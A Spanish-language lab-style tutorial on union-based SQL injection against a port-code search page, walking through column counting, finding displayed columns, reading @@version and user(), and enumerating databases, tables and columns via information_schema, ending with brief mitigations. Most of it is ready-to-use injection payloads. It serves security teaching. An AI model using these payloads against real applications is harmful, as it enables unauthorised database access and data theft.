SQL Injection – UNION (Guía Práctica)
Objetivo: usar una Union-based SQLi para mostrar datos arbitrarios en la página vulnerable. Pasos clave:
-
Determinar el número de columnas de la consulta original.
-
Identificar qué columnas se imprimen en la página.
-
Construir un
UNION SELECTcon columnas “relleno” (junk) y colocar la función/columna deseada en la columna mostrada.
🚢 Primeros tactos
Tenemos una página que busca código de puerto y ciudad mediante:
search.php?port_code=

Si ponemos
`
La aplicación devuelve error → es vulnerable a SQL Injection.

🔢 Detectar número de columnas
Dos métodos comunes: ORDER BY y UNION SELECT. Usa cualquiera; ambos te dirán cuántas columnas espera la consulta original.
Método A — ORDER BY
Prueba incrementando el índice hasta provocar error:
' order by 1-- -
' order by 2-- -
' order by 3-- -
' order by 4-- -
' order by 5-- -
Cuando order by N produce error (“Unknown column 'N' in 'order clause'”), entonces el número total de columnas = N-1.
Método B — UNION SELECT
Prueba con UNION SELECT incrementando columnas hasta que deje de dar error:
cn' UNION select 1,2,3-- -
cn' UNION select 1,2,3,4-- -
La primera que retorna resultados sin error indica el número correcto de columnas (p. ej. 4).
👀 ¿Qué columnas se imprimen?
Aunque la consulta devuelva X columnas, la página puede mostrar solo algunas. Usa números como “junk” para identificar las columnas visibles.
Ejemplo de detección (tabla tiene 4 columnas; la página muestra columnas 2,3,4):
cn' UNION select 1,2,3,4-- -

Si la salida visible en la página muestra 2, 3, 4 → la columna 1 no se imprime. Pon tu payload en una de las columnas impresas (p. ej. columna 2).
🧪 Prueba con datos reales (@@version)
Sustituye el número por @@version para comprobar lectura real:
cn' UNION select 1,@@version,3,4-- -

Si en la página aparece la versión del servidor (ej. 10.3.22-MariaDB-...), la inyección funciona y puedes extraer valores arbitrarios.
🎯 Obtener user() con UNION
Sabiendo que la página muestra la columna 2 (por ejemplo) y la consulta tiene 4 columnas, payload:
cn' UNION select 1,user(),3,4-- -
La página imprimirá el resultado de user() en la posición de la columna visible (aquí columna 2).
Usa esto solo en entornos controlados o con autorización explícita.
🧭 Consejos prácticos y variantes
-
Si no sabes cuántas columnas, empieza con
ORDER BYpara ahorrar tiempo. -
Si los tipos de datos importan (p. ej. columna numérica vs. texto), rellena con
NULLo con valores del tipo apropiado:NULL, user(), NULL, NULL. -
Para mantener compatibilidad de tipos usa
NULLcuando sea posible:
cn' UNION select NULL,user(),NULL,NULL-- -
-
Si la aplicación sanitiza espacios o
--, prueba codificaciones URL:--+o%23para#en la URL. -
Si una columna está truncada/oculta en HTML, prueba mover
user()a otra columna visible.
🔎 Siguientes pasos para enumeración (opcional)
Si quieres seguir enumerando bases de datos/tablas/columnas:
- Mostrar bases de datos:
' UNION select 1, (select schema_name from information_schema.schemata limit 0,1),3,4-- -
- Listar tablas en una base de datos:
' UNION select 1, table_name,3,4 from information_schema.tables where table_schema='nombre_db' limit 0,1-- -
- Listar columnas de una tabla:
' UNION select 1, column_name,3,4 from information_schema.columns where table_name='nombre_tabla' limit 0,1-- -
(ajusta limit e índices para iterar y volcar toda la información).
Mitigaciones: prepared statements (consultas parametrizadas), validación/saneamiento estricto, ocultar errores SQL en producción y usar el principio de menor privilegio en la BD.